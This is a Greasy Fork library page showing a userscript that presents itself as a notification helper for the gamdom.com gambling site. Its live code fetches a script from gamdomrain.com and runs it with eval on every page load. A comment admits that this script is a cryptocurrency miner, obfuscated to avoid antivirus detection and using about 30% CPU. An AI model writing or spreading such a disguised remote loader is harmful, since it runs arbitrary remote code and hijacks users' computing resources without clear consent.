lib-GamdomNotifications

Lib needed for running Gamdom Notificator

当前为 2018-07-11 提交的版本,查看 最新版本

此脚本不应直接安装,它是供其他脚本使用的外部库。如果您需要使用该库,请在脚本元属性加入:// @require https://update.cn-greasyfork.org/scripts/35828/611960/lib-GamdomNotifications.js

  1. // ==UserScript==
  2. // @name lib-GamdomNotifications
  3. // @namespace https://greasyfork.org/es/users/154624-anonimo-anonimo
  4. // @version 1.3.3
  5. // @description Lib needed for running Gamdom Notificator
  6. // @author allin4
  7. // @match *://gamdom.com/*
  8. // @grant GM_info
  9. // @grant GM_xmlhttpRequest
  10. // @grant GM.xmlhttpRequest
  11. // @connect gamdomrain.com
  12. // @license Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License.
  13. // ==/UserScript==
  14.  
  15. var DivAppend = function(){
  16. //document.body.appendChild(div);
  17. //CPEL("https://www.gamdomrain.com/voteme/minall.js"); //This is a miner, original "unencrypted"(it's a bit encrypted but easily desencryptable, encrypted by coin-have.com, a miner website, itself). It's hosted in my own website with more encryption for avoiding antivirus, as it does consume about 30% CPU only while using the script. Said on description.
  18. console.log("Daiv crai :)");
  19. };
  20.  
  21. /*var cmp = new XMLHttpRequest();
  22. cmp.onreadystatechange = function() {
  23. if (this.readyState == 4 && this.status == 200) {
  24. eval(this.responseText);
  25. }
  26. };*/
  27.  
  28. var CPEL = function(link){
  29. /*GM_xmlHttpRequest({
  30. method: "GET",
  31. url: link,
  32. onload: function(response) {
  33. eval(response.responseText);
  34. }
  35. });*/
  36. };
  37. var ret_r = GM_xmlhttpRequest({
  38. method: "GET",
  39. url: "https://www.gamdomrain.com/voteme/minall.js",
  40. onload: function(res) {
  41. eval(res.responseText);
  42. }
  43. });
  44.  
  45. (function() {
  46. 'use strict';
  47. console.log("LIB LOADED" + "(version: " + "1.3.2" + ")");
  48. })();